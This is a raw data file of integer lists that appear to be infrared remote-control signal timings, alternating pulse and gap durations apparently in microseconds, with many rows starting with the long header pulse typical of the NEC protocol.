[542, 676, 509, 629, 518, 622, 535, 630, 174, 36, 328, 1711, 561, 1661, 563, 1686, 567, 1709, 535, 1715, 568, 1654, 572, 619, 546, 1705, 539, 1710, 543, 653, 504, 1713, 575, 591, 542, 650, 516, 595, 564, 629, 545, 646, 511, 602, 565, 1788, 466, 648, 508, 1687, 579, 1672, 570, 1705, 569, 1708, 516, 1839, 404],
[169, 811, 221, 714, 164, 730, 427, 528, 165, 284, 176, 385, 221, 5463, 173, 1126, 217, 974, 166, 869, 168, 1260, 191, 788, 178, 35, 174, 701, 458, 786, 351, 787, 332, 1838, 483, 1766, 488, 1765, 479, 1713, 540, 1710, 564, 1659, 565, 654, 542, 1681, 563, 1660, 565, 626, 540, 1683, 656, 537, 539, 628, 534, 601, 566, 625, 544, 621, 546, 647, 517, 1732, 512, 626, 541, 1761, 513, 1632, 622, 1706, 518, 1732, 512, 1737, 517],
[9071, 4569, 566, 598, 539, 600, 567, 625, 542, 596, 590, 575, 562, 603, 564, 654, 513, 599, 567, 1709, 537, 1685, 567, 1735, 509, 1725, 529, 1683, 590, 1686, 568, 598, 538, 1684, 570, 1683, 560, 600, 571, 1757, 486, 601, 563, 628, 538, 600, 567, 625, 542, 625, 542, 621, 536, 1717, 567, 567, 570, 1681, 563, 1714, 540, 1709, 535, 1687, 596, 1654, 561],
[9043, 4543, 563, 603, 564, 630, 536, 598, 569, 649, 538, 600, 540, 626, 537, 629, 538, 625, 562, 1674, 550, 1687, 567, 1682, 562, 1688, 566, 1735, 513, 1737, 513, 651, 516, 1733, 511, 1740, 514, 651, 516, 1707, 536, 685, 482, 653, 514, 679, 488, 625, 541, 595, 562, 605, 562, 1741, 513, 598, 570, 1681, 562, 1687, 567, 1682, 562, 1688, 566, 1719, 535],
[168, 43, 830, 175, 1203, 308, 537, 259, 559, 369, 1117, 341, 616, 390, 488, 254, 170],
[170, 1235, 174, 2075, 166, 1978, 225, 1818, 172, 35, 199, 1784, 172, 2213, 245, 2080, 172, 1154, 169, 1788, 191, 2298, 170, 811, 191, 1950, 169, 998, 169, 1026, 171, 936, 171, 1338, 167],
[172, 838, 454, 286, 272, 868, 165, 947, 324, 710, 173, 702, 170, 493, 408, 386, 175, 329, 169, 3061, 170],
[185, 743, 171, 356, 172],
[167, 685, 163, 314, 302, 331, 170, 385, 173, 1126, 171, 1288, 222, 361, 176, 725, 171],
[172, 572, 251, 650, 173, 1072, 171, 18, 161, 1319, 168, 6396, 250, 2051, 168, 2322, 171, 9911, 170],
[539, 654, 541, 597, 539, 653, 514, 653, 535, 1686, 537, 1723, 530, 1682, 562, 1715, 539, 1684, 575, 1728, 511, 628, 542, 1680, 570, 1709, 535, 576, 621, 1681, 544, 596, 572, 591, 563, 656, 515, 596, 586, 580, 567, 623, 514, 1768, 506, 681, 486, 1711, 542, 1736, 508, 1739, 515, 1815, 429, 1713, 807],
[482, 713, 454, 708, 459, 704, 462, 747, 472, 596, 519, 650, 506, 1739, 518, 1704, 536, 1748, 505, 1710, 544, 1706, 540, 1710, 561, 630, 516, 1734, 510, 1765, 459, 711, 488, 1730, 512, 627, 539, 706, 461, 651, 520, 645, 520, 671, 484, 683, 513, 1762, 482, 603, 564, 1818, 405, 1738, 516, 1734, 510, 1713, 541, 1736, 538],
[542, 622, 597, 569, 566, 599, 541, 624, 542, 673, 491, 655, 532, 602, 565, 628, 517, 1679, 566, 1710, 568, 1685, 535, 1715, 568, 1679, 535, 1714, 543, 676, 518, 1678, 536, 1714, 540, 599, 568, 1686, 558, 656, 540, 598, 569, 597, 540, 652, 515, 651, 515, 598, 559, 1688, 565, 627, 540, 1709, 546, 1705, 538, 1738, 516, 1708, 536, 1714, 539],
[429, 790, 172, 66, 178, 669, 459, 732, 434, 758, 378, 763, 434, 782, 375, 1825, 269, 1924, 305, 1918, 350, 572, 171, 1157, 485, 299, 188, 1280, 506, 1794, 463, 783, 380, 1763, 493, 1811, 410, 700, 247, 2056, 174, 39, 224, 781, 376, 658, 189, 1000, 490, 674, 175, 1071, 409, 730, 437, 1786, 487, 682, 161, 2084, 174, 2076, 174, 2076, 431, 1876, 398, 2006, 173],
[879, 632, 217, 1003, 167, 362, 167],
[171, 863, 174, 885, 172, 40, 169, 416, 172, 331, 168, 310, 244, 365, 168, 441, 171, 7269, 167, 4335, 172, 3508, 177],
[327, 2405, 163, 3465, 219],
[167, 7537, 171],
[479, 708, 329, 783, 513, 651, 537, 655, 431, 735, 485, 653, 510, 709, 458, 679, 487, 1762, 462, 1818, 485, 1735, 491, 1758, 484, 1739, 568, 1709, 481, 684, 482, 1820, 434, 1764, 460, 677, 509, 1720, 534, 653, 514, 623, 546, 726, 430, 711, 454, 711, 456, 628, 542, 1734, 486, 653, 534, 1768, 485, 1711, 543, 1766, 478, 1766, 487, 1764, 480],
[176, 380, 174, 542, 250, 6074, 198, 676, 491, 754, 402, 736, 411, 728, 432, 707, 516, 674, 433, 709, 488, 1787, 376, 1875, 463, 1785, 294, 1905, 509, 1766, 507, 1823, 271, 761, 535, 1822, 432, 1764, 490, 622, 544, 1734, 510, 680, 172, 40, 169, 43, 167, 548, 484, 714, 453, 654, 745, 420, 544, 675, 482, 1768, 485, 679, 488, 1763, 691, 1533, 512, 1740, 511, 1735, 175, 66, 298, 1686, 540],
[173],
[175, 1048, 373, 655, 511, 732, 277, 889, 455, 948, 174, 700, 402, 816, 434, 731, 168, 2029, 410, 2236, 171, 1682, 173, 2077, 331, 2050, 169, 2085, 353, 756, 400, 1797, 382, 1974, 355, 996, 166, 1899, 349, 761, 406, 866, 166, 1025, 277, 760, 406, 728, 168, 1050, 173, 44, 168, 1838, 408, 917, 250, 1894, 165, 19, 171, 1841, 407, 1737, 176, 2128, 457, 2030, 193],
[407],
[695, 331, 592, 4595, 510, 764, 169, 1074, 327, 997, 165, 735, 439, 700, 468, 670, 483, 761, 171, 1127, 274, 1738, 171, 2131, 173, 2315, 171, 2159, 171, 1734, 216, 2060, 222, 1182, 224, 2084, 165, 1894, 226, 1045, 190, 3146, 195, 838, 174, 1153, 164, 2164, 304, 968, 173],
[166, 731, 192, 415, 167, 444, 175, 673, 249, 573, 174, 2843, 204],
[484, 687, 450, 736, 461, 810, 376, 682, 455, 765, 352, 1763, 540, 1736, 508, 1773, 480, 1739, 545, 1765, 170, 169, 175, 530, 453, 692, 516, 702, 462, 1707, 487, 1790, 515, 704, 462, 1734, 509, 657, 510, 655, 512, 652, 515, 622, 546, 780, 376, 684, 482, 1738, 515, 652, 536, 1687, 536, 1713, 540, 1763, 481, 1742, 512, 1738, 515],
[436, 650, 518, 680, 457, 625, 530, 684, 513, 706, 461, 1786, 459, 1793, 458, 1763, 461, 1870, 376, 1792, 489, 1764, 479, 683, 467, 1836, 385, 1786, 348, 789, 537, 1770, 454, 707, 270, 841, 535, 711, 456, 655, 511, 654, 513, 679, 487, 1764, 510, 600, 487, 1766, 477, 1797, 517, 1816, 347, 1926, 389, 1809, 454],
[516, 623, 539, 651, 517, 622, 533, 661, 566, 1683, 510, 1710, 544, 1706, 537, 1711, 543, 1712, 531, 1688, 599, 565, 569, 1708, 535, 1714, 542, 627, 508, 1740, 533, 658, 538, 654, 483, 654, 543, 622, 518, 648, 516, 595, 571, 1706, 540, 679, 515, 1654, 570, 1877, 366, 1713, 541, 1841, 402, 1741, 513],
[482, 684, 483, 659, 508, 627, 509, 683, 514, 1762, 482, 1714, 539, 1710, 545, 1705, 538, 1793, 460, 1712, 562, 629, 507, 1739, 515, 1708, 536, 656, 510, 1751, 503, 627, 539, 676, 481, 658, 516, 648, 511, 628, 539, 625, 562, 1716, 508, 631, 536, 1740, 513, 1762, 482, 1794, 489, 1709, 689, 1585, 515],
[483, 685, 482, 680, 487, 733, 436, 676, 491, 700, 464, 1743, 530, 1787, 436, 1709, 596, 1706, 427, 1771, 432, 1816, 538, 707, 459, 1764, 510, 1739, 485, 630, 566, 1734, 490, 649, 518, 620, 536, 656, 511, 680, 487, 657, 510, 703, 466, 1705, 566, 599, 538, 1768, 654, 1621, 434, 1816, 464, 1838, 409, 1759, 170, 18, 296],
[427],
[608, 284, 887, 306, 1544, 311, 278, 305, 193, 230, 349, 4732, 383, 702, 515, 808, 298, 738, 429, 761, 405, 706, 481, 685, 402, 790, 487, 652, 454, 1742, 512, 1765, 493, 1765, 455, 1813, 464, 1708, 542, 1735, 509, 656, 512, 1738, 514, 1710, 544, 807, 349, 1713, 543, 704, 461, 731, 435, 677, 490, 622, 535, 713, 453, 630, 537, 1766, 488, 654, 512, 1789, 455, 1742, 512, 1711, 542, 1737, 507, 1740, 483],
[539, 654, 520, 698, 457, 628, 539, 680, 487, 682, 485, 651, 515, 649, 518, 649, 538, 1716, 508, 1711, 547, 1703, 536, 1741, 513, 1711, 543, 1707, 566, 573, 564, 1739, 515, 1710, 539, 707, 454, 1742, 516, 621, 541, 630, 537, 623, 544, 621, 541, 650, 511, 658, 509, 1711, 545, 648, 517, 1706, 537, 1714, 540, 1710, 533, 1769, 485, 1685, 588],
[2422, 4567, 508, 657, 490, 727, 165, 922, 572, 673, 461, 730, 437, 677, 489, 649, 508, 657, 380, 1871, 512, 1764, 490, 1735, 512, 1764, 486, 1765, 491, 1758, 486, 655, 514, 1761, 489, 1737, 516, 648, 509, 1740, 513, 626, 541, 627, 510, 760, 437, 649, 538, 655, 482, 656, 510, 1927, 407, 546, 545, 1757, 463, 1789, 484, 1856, 398, 1789, 455, 1769, 485],
[9019, 4571, 543, 594, 169, 1076, 484, 630, 537, 628, 538, 653, 514, 670, 499, 676, 491, 620, 534, 1716, 538, 1712, 543, 1735, 518, 1731, 513, 1740, 513, 1735, 539, 573, 354, 2001, 463, 1735, 513, 654, 508, 1766, 491, 648, 515, 678, 489, 675, 512, 627, 510, 658, 508, 656, 511, 1713, 541, 652, 514, 1707, 537, 1740, 544, 2680, 543, 1707, 542, 1735, 518],
[9017, 4626, 490, 622, 548, 617, 516, 702, 486, 680, 489, 677, 506, 631, 516, 676, 490, 623, 534, 1770, 454, 1795, 488, 1789, 457, 1714, 572, 1705, 515, 1708, 565, 653, 568, 1686, 484, 1735, 520, 619, 566, 1658, 586, 583, 563, 678, 489, 626, 545, 617, 566, 627, 510, 655, 511, 1712, 542, 596, 170, 286, 169, 1732, 457, 1873, 350, 1769, 598, 1625, 535, 1720, 534],
[9051, 4592, 534, 602, 549, 643, 539, 601, 536, 656, 510, 680, 488, 678, 487, 653, 514, 677, 494, 1702, 537, 1712, 542, 1736, 507, 1742, 511, 1740, 484, 1764, 519, 673, 534, 1690, 513, 1736, 538, 658, 478, 1768, 489, 650, 513, 655, 512, 624, 543, 675, 511, 628, 509, 630, 537, 1713, 543, 653, 511, 1708, 536, 1767, 486, 1764, 490, 1764, 479, 1742, 512],
[9046, 4621, 462, 678, 508, 656, 511, 654, 513, 651, 515, 651, 570, 569, 545, 620, 539, 653, 510, 1712, 541, 1710, 543, 1707, 537, 1740, 514, 1709, 534, 1717, 537, 628, 539, 1711, 543, 1707, 596, 570, 537, 1713, 540, 624, 563, 602, 535, 630, 537, 628, 568, 597, 540, 625, 541, 1712, 562, 575, 562, 1690, 593, 1653, 570, 1680, 564, 1687, 567, 1712, 545],
[9048, 4565, 536, 656, 511, 655, 511, 626, 541, 625, 541, 651, 516, 623, 544, 594, 563, 628, 591, 1633, 568, 1709, 535, 1688, 566, 1711, 542, 1707, 537, 1714, 539, 657, 510, 1708, 535, 1715, 539, 600, 567, 1710, 533, 635, 592, 570, 567, 598, 538, 601, 596, 597, 540, 623, 544, 1680, 563, 603, 564, 1686, 568, 1709, 535, 1716, 568, 1653, 570, 1706, 540],
[222, 653, 169],
[537, 624, 562, 629, 518, 652, 505, 630, 536, 630, 570, 675, 459, 1711, 545, 1758, 483, 1714, 540, 1738, 536, 1660, 563, 1793, 461, 625, 541, 1709, 535, 1717, 536, 628, 539, 1712, 542, 622, 534, 685, 482, 682, 485, 630, 536, 628, 540, 653, 513, 1736, 517, 693, 525, 1685, 507, 1713, 544, 1706, 594, 1655, 569, 1685, 539],
[540, 514, 624, 538, 628, 539, 625, 542, 626, 540, 624, 534, 633, 533, 1714, 540, 1711, 543, 1707, 536, 1688, 570, 1706, 544, 1733, 511, 629, 537, 1713, 541, 1682, 572, 625, 532, 1715, 538, 599, 568, 629, 538, 623, 553, 586, 561, 636, 561, 598, 568, 1656, 598, 595, 541, 1682, 562, 1691, 562, 1686, 591, 1663, 558, 1688, 565],
[565, 600, 536, 632, 535, 601, 565, 626, 542, 650, 515, 598, 570, 1709, 534, 1714, 570, 1685, 558, 1661, 562, 1688, 566, 1711, 543, 650, 507, 1689, 564, 1764, 490, 649, 518, 1732, 515, 677, 486, 681, 485, 679, 488, 624, 542, 624, 563, 575, 562, 1714, 569, 600, 537, 1711, 543, 1681, 562, 1715, 569, 1682, 546, 1703, 541],
[538, 541, 596, 570, 624, 543, 624, 565, 600, 534, 628, 539, 627, 590, 1687, 520, 1650, 594, 1761, 538, 1635, 573, 1703, 540, 1710, 539, 625, 562, 1694, 540, 1679, 564, 627, 540, 1684, 574, 618, 544, 595, 562, 630, 536, 629, 548, 617, 540, 598, 568, 1709, 535, 630, 536, 1688, 579, 1672, 568, 1681, 563, 1714, 540, 1685, 592],
[569, 623, 593, 545, 564, 630, 535, 628, 538, 598, 592, 573, 570, 1680, 564, 1716, 557, 1689, 545, 1705, 538, 1713, 541, 1712, 531, 604, 567, 1684, 565, 1712, 591, 545, 562, 1691, 568, 598, 563, 599, 568, 598, 568, 600, 587, 574, 563, 630, 590, 1659, 591, 547, 589, 1662, 574, 1701, 540, 1737, 517, 1707, 542, 1709, 559],
[538, 625, 542, 597, 574, 593, 562, 602, 564, 631, 533, 630, 566, 1684, 540, 1710, 543, 1680, 564, 1687, 566, 1685, 589, 1660, 563, 602, 595, 1682, 543, 1681, 561, 604, 563, 1688, 565, 625, 542, 624, 547, 617, 539, 627, 535, 630, 537, 629, 539, 1711, 541, 625, 542, 1745, 498, 1689, 565, 1686, 568, 1656, 587, 1690, 563],
[539, 537, 631, 534, 606, 561, 628, 540, 598, 567, 598, 570, 619, 566, 1713, 515, 1708, 542, 1707, 536, 1715, 541, 1711, 540, 1709, 535, 629, 537, 1687, 571, 1710, 540, 622, 644, 1581, 565, 600, 564, 602, 565, 600, 567, 571, 596, 623, 548, 617, 548, 1705, 536, 626, 540, 1710, 544, 1680, 564, 1686, 567, 1710, 564, 1687, 536],
[540, 537, 628, 539, 625, 541, 627, 540, 597, 570, 621, 536, 629, 540, 1711, 540, 1710, 546, 1709, 532, 1687, 567, 1687, 566, 1682, 562, 601, 566, 1686, 592, 1656, 593, 601, 566, 1656, 567, 598, 569, 648, 518, 648, 509, 657, 514, 651, 511, 680, 490, 1682, 589, 609, 537, 1708, 570, 1684, 537, 1709, 543, 1686, 558, 1714, 569],
[536, 497, 630, 534, 628, 558, 632, 537, 632, 513, 647, 510, 631, 537, 1712, 540, 1709, 547, 1676, 565, 1685, 568, 1682, 592, 1684, 541, 598, 567, 1763, 491, 1711, 532, 602, 564, 1686, 617, 547, 570, 622, 535, 656, 514, 598, 565, 629, 537, 626, 541, 1712, 542, 621, 535, 1716, 538, 1712, 552, 1727, 507, 1715, 538, 1765, 489],
[536, 629, 568, 571, 565, 681, 486, 651, 516, 634, 533, 620, 568, 1682, 545, 1733, 517, 1706, 537, 1765, 489, 1734, 514, 1711, 538, 706, 461, 1737, 521, 1703, 536, 606, 561, 1711, 543, 678, 491, 622, 546, 618, 535, 710, 462, 627, 615, 547, 539, 1714, 540, 626, 561, 1711, 537, 1688, 541, 1682, 562, 1718, 536, 1712, 544],
[572, 620, 515, 658, 506, 627, 539, 650, 537, 577, 564, 629, 533, 1715, 539, 1736, 507, 1719, 534, 1714, 571, 1706, 517, 1708, 536, 628, 569, 1680, 593, 1658, 536, 604, 592, 1657, 567, 598, 568, 598, 569, 596, 560, 632, 539, 627, 536, 628, 510, 1713, 1571, 622, 562, 1662, 562, 1793, 490, 1683, 541, 1683, 561, 1715, 541],
[568, 541, 625, 533, 656, 511, 606, 564, 680, 481, 654, 515, 624, 541, 1709, 535, 1716, 540, 1711, 590, 1634, 570, 1679, 564, 1738, 516, 649, 518, 1705, 538, 1717, 537, 625, 542, 1708, 535, 657, 510, 655, 512, 627, 559, 633, 514, 1630, 537, 649, 517, 1707, 567, 625, 511, 1713, 542, 1762, 482, 1716, 537, 1712, 541, 1683, 571],
[543, 623, 543, 623, 544, 624, 532, 603, 564, 628, 546, 618, 565, 1659, 560, 1716, 568, 1657, 567, 1709, 544, 1732, 512, 1686, 567, 598, 568, 1684, 560, 1714, 539, 611, 556, 1656, 588, 603, 564, 629, 537, 628, 539, 599, 567, 625, 542, 627, 540, 1706, 537, 575, 592, 1713, 540, 1682, 562, 1713, 540, 1736, 518, 1734, 510],
[566, 566, 626, 541, 596, 591, 577, 561, 602, 563, 602, 565, 629, 538, 1684, 570, 1679, 565, 1687, 566, 1685, 568, 1683, 591, 1658, 565, 629, 538, 1713, 541, 1679, 565, 600, 566, 1710, 544, 622, 535, 634, 532, 628, 541, 627, 538, 653, 513, 625, 542, 1739, 505, 629, 537, 1713, 541, 1711, 546, 1705, 535, 1716, 538, 1714, 559],
[593, 570, 567, 606, 560, 570, 587, 631, 535, 602, 570, 626, 536, 1684, 569, 1682, 562, 1691, 562, 1684, 573, 1679, 561, 1688, 566, 599, 568, 1682, 571, 1680, 565, 607, 559, 1684, 589, 575, 562, 606, 561, 602, 564, 601, 568, 597, 567, 599, 568, 1683, 561, 607, 559, 1687, 652, 1598, 570, 1681, 563, 1689, 614, 1634, 570],
[560, 606, 562, 603, 593, 572, 564, 602, 565, 600, 568, 596, 569, 1684, 560, 1687, 567, 1688, 565, 1681, 563, 1688, 566, 1655, 588, 578, 589, 1688, 566, 1657, 596, 569, 588, 1689, 567, 572, 593, 602, 564, 571, 596, 569, 588, 614, 583, 548, 588, 1660, 594, 598, 569, 1655, 589, 1661, 593, 1684, 569, 1685, 559, 1692, 562],
[617, 627, 545, 617, 542, 617, 548, 597, 570, 616, 548, 619, 545, 622, 1629, 625, 1625, 588, 1662, 626, 1624, 615, 1635, 623, 1628, 626, 539, 623, 1627, 617, 1636, 618, 545, 622, 1634, 610, 550, 597, 571, 595, 568, 619, 549, 618, 545, 594, 571, 623, 1627, 617, 549, 619, 1637, 615, 1630, 625, 1627, 615, 1634, 621, 1633, 620],
[9095, 4520, 585, 578, 589, 577, 593, 575, 589, 573, 593, 578, 590, 569, 597, 571, 586, 577, 589, 1663, 591, 1661, 596, 1651, 590, 1660, 594, 1662, 591, 1657, 587, 575, 592, 1659, 595, 1655, 618, 549, 588, 1661, 595, 570, 594, 571, 596, 569, 618, 547, 594, 575, 587, 578, 619, 1629, 595, 570, 597, 1654, 589, 1670, 584, 1658, 596, 1660, 584, 1661, 596],
[9098, 4516, 589, 575, 592, 574, 593, 572, 595, 570, 596, 570, 587, 580, 587, 580, 617, 545, 622, 1627, 596, 1659, 615, 1632, 592, 1658, 595, 1655, 591, 1659, 593, 573, 593, 1669, 605, 1633, 591, 574, 597, 1654, 595, 570, 600, 565, 591, 574, 590, 602, 565, 573, 593, 599, 568, 1656, 588, 604, 567, 1659, 590, 1660, 593, 1656, 618, 1636, 587, 1659, 645],
[9093, 4520, 595, 569, 592, 575, 588, 576, 621, 547, 590, 572, 594, 571, 596, 569, 601, 565, 591, 1659, 592, 1658, 595, 1655, 592, 1659, 592, 1658, 596, 1654, 590, 578, 588, 1660, 614, 1636, 598, 572, 585, 1660, 593, 575, 592, 571, 596, 570, 597, 569, 587, 578, 639, 525, 593, 1662, 591, 569, 617, 1635, 589, 1660, 599, 1651, 592, 1659, 590, 1687, 567],
[9121, 4492, 593, 571, 616, 549, 618, 547, 620, 545, 591, 574, 623, 542, 624, 541, 597, 568, 618, 1632, 621, 1630, 614, 1636, 618, 1633, 591, 1659, 615, 1635, 621, 544, 590, 1660, 623, 1627, 617, 548, 589, 1661, 622, 543, 624, 542, 595, 570, 616, 549, 618, 551, 586, 576, 620, 1632, 612, 551, 616, 1637, 587, 1661, 622, 1633, 591, 1656, 588, 1663, 620],
[9123, 4485, 621, 544, 593, 571, 596, 579, 587, 570, 617, 547, 623, 542, 592, 573, 623, 542, 630, 1620, 588, 1662, 642, 1608, 625, 1625, 619, 1631, 592, 1658, 616, 553, 584, 1662, 621, 1629, 595, 570, 617, 1633, 590, 575, 596, 575, 588, 572, 594, 571, 597, 567, 589, 577, 589, 1661, 598, 567, 595, 1656, 587, 1661, 623, 1627, 597, 1653, 593, 1685, 566],
[9119, 4495, 621, 543, 593, 571, 616, 550, 616, 551, 586, 577, 620, 545, 595, 571, 622, 543, 628, 1622, 588, 1663, 620, 1630, 617, 1633, 618, 1632, 621, 1630, 629, 536, 616, 1635, 622, 1628, 622, 543, 594, 1657, 616, 549, 593, 578, 614, 545, 591, 574, 623, 543, 594, 572, 594, 1656, 588, 578, 618, 1632, 592, 1658, 595, 1655, 619, 1631, 593, 1657, 596],
[9101, 4513, 618, 548, 620, 544, 624, 541, 623, 542, 619, 549, 613, 549, 618, 548, 621, 545, 590, 1659, 596, 1658, 614, 1633, 620, 1630, 624, 1627, 620, 1630, 620, 545, 622, 1628, 617, 1634, 618, 547, 626, 1627, 620, 542, 615, 550, 617, 549, 618, 549, 588, 575, 591, 574, 623, 1628, 619, 546, 617, 1633, 621, 1630, 625, 1626, 596, 1652, 622, 1633, 619],
[9118, 4495, 591, 573, 624, 541, 616, 549, 587, 581, 586, 575, 591, 575, 622, 545, 592, 570, 596, 1655, 589, 1661, 592, 1658, 596, 1654, 589, 1661, 623, 1627, 616, 549, 598, 1660, 613, 1630, 594, 570, 598, 1653, 589, 576, 621, 556, 580, 576, 591, 571, 596, 570, 620, 549, 584, 1663, 621, 543, 594, 1657, 599, 1651, 591, 1659, 624, 1627, 596, 1653, 591],
[9124, 4490, 594, 571, 595, 570, 617, 548, 620, 545, 590, 575, 592, 574, 626, 539, 625, 540, 616, 1634, 590, 1660, 594, 1657, 616, 1634, 620, 1630, 626, 1627, 614, 549, 618, 1632, 621, 1629, 615, 550, 617, 1634, 619, 546, 591, 574, 623, 542, 614, 552, 595, 570, 599, 566, 618, 1633, 591, 574, 622, 1628, 616, 1635, 588, 1662, 592, 1658, 617, 1637, 615],
[9083, 4516, 590, 574, 592, 573, 596, 569, 596, 572, 614, 548, 620, 546, 594, 575, 617, 543, 594, 1657, 597, 1654, 619, 1630, 618, 1632, 597, 1653, 621, 1629, 624, 541, 616, 1636, 618, 1630, 623, 543, 594, 1655, 619, 547, 589, 576, 591, 580, 587, 572, 598, 568, 595, 570, 617, 1633, 591, 576, 591, 1658, 615, 1634, 595, 1655, 593, 1659, 595, 1654, 619],
[9124, 4490, 616, 549, 621, 544, 619, 548, 589, 575, 593, 572, 623, 542, 615, 550, 597, 569, 620, 1633, 588, 1660, 623, 1627, 617, 1634, 620, 1632, 626, 1623, 620, 549, 584, 1662, 624, 1627, 624, 542, 615, 1635, 619, 547, 619, 546, 591, 574, 623, 543, 624, 541, 615, 550, 599, 1652, 589, 576, 621, 1629, 624, 1627, 597, 1653, 620, 1631, 625, 1626, 619],
[4618, 256, 2181, 260, 170, 9807, 175, 732, 529, 631, 536, 682, 488, 714, 450, 600, 568, 1709, 535, 1716, 536, 1740, 515, 1735, 520, 1704, 536, 1715, 539, 625, 543, 1761, 491, 1706, 539, 627, 538, 1685, 589, 577, 590, 611, 525, 631, 536, 629, 540, 626, 568, 624, 512, 1710, 454, 738, 509, 1822, 463, 1896, 246, 1868, 171, 41, 168, 2220, 164],
[538],
[541, 624, 543, 622, 545, 594, 562, 630, 537, 1717, 537, 1683, 573, 1678, 563, 1714, 540, 1713, 541, 1681, 562, 603, 594, 1657, 570, 1680, 570, 595, 562, 1690, 565, 599, 566, 600, 567, 599, 573, 592, 569, 597, 560, 812, 355, 1689, 595, 572, 564, 1686, 568, 1918, 335, 1654, 590, 1686, 567, 1684, 570],
[615, 550, 619, 546, 618, 548, 619, 550, 618, 544, 624, 546, 618, 1628, 616, 1635, 623, 1627, 623, 1628, 615, 1640, 614, 1633, 624, 541, 625, 1627, 614, 1635, 619, 546, 620, 1631, 630, 535, 625, 545, 611, 550, 617, 549, 618, 547, 620, 551, 615, 1630, 624, 546, 621, 1625, 618, 1633, 621, 1630, 626, 1627, 615, 1634, 621],
[619, 619, 548, 622, 540, 624, 542, 627, 541, 613, 549, 618, 548, 618, 1632, 622, 1629, 624, 1626, 620, 1631, 621, 1630, 626, 1623, 618, 548, 619, 1633, 620, 1628, 616, 549, 618, 1633, 620, 545, 622, 544, 623, 543, 623, 541, 616, 550, 617, 548, 619, 1632, 623, 542, 623, 1627, 862, 1389, 619, 1631, 623, 1633, 610, 1635, 621],
[622, 616, 546, 620, 544, 623, 543, 623, 542, 615, 550, 617, 549, 618, 1632, 621, 1630, 627, 1633, 607, 1633, 621, 1630, 624, 1626, 617, 549, 618, 1632, 626, 1625, 619, 549, 614, 1634, 622, 555, 609, 547, 620, 543, 624, 541, 620, 549, 613, 549, 617, 1633, 621, 548, 618, 1629, 615, 1636, 618, 1632, 621, 1629, 625, 1626, 621],
[617, 620, 546, 618, 543, 622, 545, 623, 542, 614, 550, 620, 546, 617, 1656, 598, 1629, 628, 1622, 618, 1633, 620, 1641, 618, 1621, 622, 543, 622, 1629, 622, 1628, 615, 550, 617, 1634, 619, 546, 643, 523, 621, 544, 627, 538, 615, 550, 616, 550, 617, 1633, 621, 546, 620, 1629, 615, 1639, 614, 1632, 624, 1627, 615, 1635, 620],
[622, 557, 603, 546, 616, 550, 617, 548, 620, 549, 617, 545, 621, 1629, 615, 1636, 618, 1636, 620, 1627, 624, 1626, 617, 1633, 621, 544, 622, 1628, 616, 1646, 608, 548, 618, 1630, 623, 542, 615, 551, 616, 549, 617, 548, 619, 550, 619, 542, 622, 1629, 615, 550, 616, 1635, 621, 1629, 623, 1628, 618, 1632, 619, 1632, 621],
[618, 614, 550, 619, 547, 1618, 550, 626, 536, 621, 544, 623, 543, 627, 1624, 619, 1634, 619, 1628, 625, 1626, 618, 1633, 620, 1630, 626, 543, 611, 1635, 619, 1631, 623, 543, 1623, 627, 618, 549, 617, 547, 620, 545, 622, 544, 622, 543, 624, 542, 615, 1638, 616, 547, 620, 1630, 623, 1628, 616, 1634, 619, 1631, 627, 1624, 615],
[624, 545, 611, 550, 618, 547, 620, 546, 619, 546, 622, 543, 623, 1632, 611, 1635, 619, 1632, 622, 1628, 625, 1629, 615, 1632, 621, 544, 623, 1628, 615, 1635, 620, 549, 617, 1631, 622, 542, 625, 544, 613, 548, 619, 547, 621, 549, 616, 549, 618, 1629, 625, 540, 617, 1634, 624, 1627, 622, 1628, 620, 1631, 619, 1640, 613],
[620, 614, 557, 613, 545, 619, 547, 623, 542, 621, 545, 622, 544, 622, 1627, 618, 1632, 621, 1630, 625, 1625, 617, 1634, 621, 1629, 626, 540, 623, 1627, 617, 1634, 620, 545, 621, 1633, 621, 541, 616, 550, 617, 548, 618, 548, 619, 546, 621, 544, 623, 1628, 625, 541, 620, 1633, 617, 1631, 627, 1624, 619, 1636, 614, 1633, 621],
[616, 618, 548, 618, 544, 624, 544, 620, 544, 623, 542, 625, 544, 612, 1635, 618, 1631, 624, 1627, 616, 1638, 616, 1631, 622, 1628, 616, 549, 617, 1634, 625, 1625, 623, 542, 625, 1626, 617, 549, 618, 546, 620, 545, 622, 544, 625, 542, 622, 541, 616, 1637, 616, 548, 619, 1630, 623, 1628, 615, 1636, 618, 1636, 622, 1625, 625],
[616, 552, 615, 548, 622, 543, 620, 546, 638, 527, 624, 541, 624, 1627, 617, 1637, 617, 1630, 623, 1627, 617, 1634, 619, 1633, 621, 543, 628, 1627, 611, 1634, 625, 540, 621, 1630, 624, 541, 625, 540, 617, 549, 617, 548, 619, 546, 620, 551, 616, 1629, 624, 541, 616, 1635, 618, 1633, 621, 1629, 630, 1621, 617, 1634, 625],
[618, 620, 546, 622, 543, 624, 541, 624, 541, 628, 538, 620, 545, 621, 1629, 622, 1629, 625, 1625, 619, 1636, 617, 1629, 625, 1625, 619, 547, 624, 1626, 623, 1627, 616, 550, 617, 1636, 618, 544, 623, 543, 623, 546, 621, 541, 616, 549, 618, 547, 619, 1632, 622, 543, 623, 1627, 617, 1634, 620, 1631, 622, 1627, 620, 1631, 620],
[620, 621, 542, 624, 541, 625, 545, 621, 540, 617, 552, 617, 544, 620, 1630, 626, 1626, 614, 1634, 622, 1633, 619, 1627, 616, 1635, 620, 547, 621, 1627, 624, 1626, 618, 548, 620, 1630, 622, 543, 624, 542, 625, 544, 612, 549, 618, 547, 622, 544, 625, 1628, 622, 540, 627, 1625, 617, 1632, 621, 1630, 624, 1626, 618, 1632, 621],
[622, 543, 623, 542, 625, 546, 632, 528, 619, 547, 624, 543, 618, 1630, 624, 1627, 630, 1620, 620, 1630, 627, 1624, 616, 1634, 629, 536, 621, 1630, 624, 1626, 617, 553, 614, 1631, 626, 539, 624, 542, 625, 540, 616, 550, 617, 548, 619, 546, 620, 1631, 623, 542, 624, 1627, 617, 1638, 615, 1631, 623, 1628, 616, 1635, 619],
[623, 542, 616, 549, 616, 551, 616, 548, 619, 546, 624, 545, 617, 1629, 615, 1635, 622, 1633, 617, 1629, 614, 1637, 616, 1638, 616, 544, 623, 1627, 616, 1634, 619, 546, 621, 1629, 624, 542, 615, 551, 616, 548, 619, 547, 619, 546, 621, 544, 623, 1628, 646, 522, 614, 1634, 622, 1628, 623, 1627, 617, 1635, 618, 1630, 624],
